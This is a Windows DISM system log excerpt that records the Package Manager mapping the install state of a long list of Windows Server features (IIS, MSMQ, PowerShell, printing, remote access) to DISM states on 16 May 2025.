2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature UpdateServices-WidDatabase with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MicrosoftWindowsPowerShellRoot with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MicrosoftWindowsPowerShell with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature iSCSITargetServer-PowerShell with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature PKIClient-PSH-Cmdlets with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature KeyDistributionService-PSH-Cmdlets with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature TlsSessionTicketKey-PSH-Cmdlets with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Tpm-PSH-Cmdlets with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MicrosoftWindowsPowerShellV2 with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WindowsPowerShellWebAccess with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DataCenterBridging-LLDP-Tools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RemoteAccessMgmtTools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RemoteAccessPowerShell with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RasServerAdminTools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DamgmtTools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:34, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Server-Psh-Cmdlets with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RemoteAccess with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RemoteAccessServer with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RasRoutingProtocols with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-WebServerRole with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-WebServer with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-CommonHttpFeatures with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-Security with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-RequestFiltering with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-StaticContent with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-DefaultDocument with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-DirectoryBrowsing with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-HttpErrors with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-HttpRedirect with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-WebDAV with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-ApplicationDevelopment with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-WebSockets with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-ApplicationInit with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-NetFxExtensibility with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-NetFxExtensibility45 with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-ISAPIExtensions with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-ISAPIFilter with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:35, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-ASPNET with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-ASPNET45 with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-ASP with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-CGI with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-ServerSideIncludes with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-HealthAndDiagnostics with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-HttpLogging with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-LoggingLibraries with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-RequestMonitor with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-HttpTracing with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-CustomLogging with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-ODBCLogging with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-CertProvider with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-BasicAuthentication with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-WindowsAuthentication with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-DigestAuthentication with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-ClientCertificateMappingAuthentication with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-IISCertificateMappingAuthentication with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-URLAuthorization with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-IPSecurity with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-Performance with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-HttpCompressionStatic with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-HttpCompressionDynamic with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:36, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-WebServerManagementTools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-ManagementConsole with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-LegacySnapIn with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-ManagementScriptingTools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-ManagementService with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-IIS6ManagementCompatibility with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-Metabase with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-WMICompatibility with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-LegacyScripts with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-FTPServer with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-FTPSvc with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-FTPExtensibility with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WAS-WindowsActivationService with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WAS-ProcessModel with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WAS-NetFxEnvironment with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WAS-ConfigurationAPI with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IIS-HostableWebCore with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature BITSExtensions-AdminPack with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Gateway-UI with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature BITSExtensions-Upload with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WCF-HTTP-Activation with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WCF-NonHTTP-Activation with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Smtpsvc-Admin-Update-Name with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Smtpsvc-Service-Update-Name with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RPC-HTTP_Proxy with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:37, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Gateway with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WorkFolders-Server with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MSMQ with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MSMQ-Services with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MSMQ-DCOMProxy with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MSMQ-Server with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MSMQ-ADIntegration with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MSMQ-HTTP with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MSMQ-Multicast with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MSMQ-Triggers with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MSMQ-RoutingServer with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Windows-Web-Services-for-Management-IIS-Extension with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DirectoryServices-ADAM with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServerCore-WOW64 with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Printing-Server-Foundation-Features with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Printing-Server-Role with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Printing-LPDPrintService with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Printing-Client with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Printing-Client-Gui with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature NetFx3ServerFeatures with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature NetFx3 with CBS state 2(CbsInstallStateResolved) being mapped to dism state 2(DISM_INSTALL_STATE_REMOVED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MediaPlayback with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WindowsMediaPlayer with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:38, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Printing-XPSServices-Features with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature TFTP with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature LegacyComponents with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DirectPlay with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Windows-Identity-Foundation with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MultiPoint-Connector with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MultiPoint-Connector-Services with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
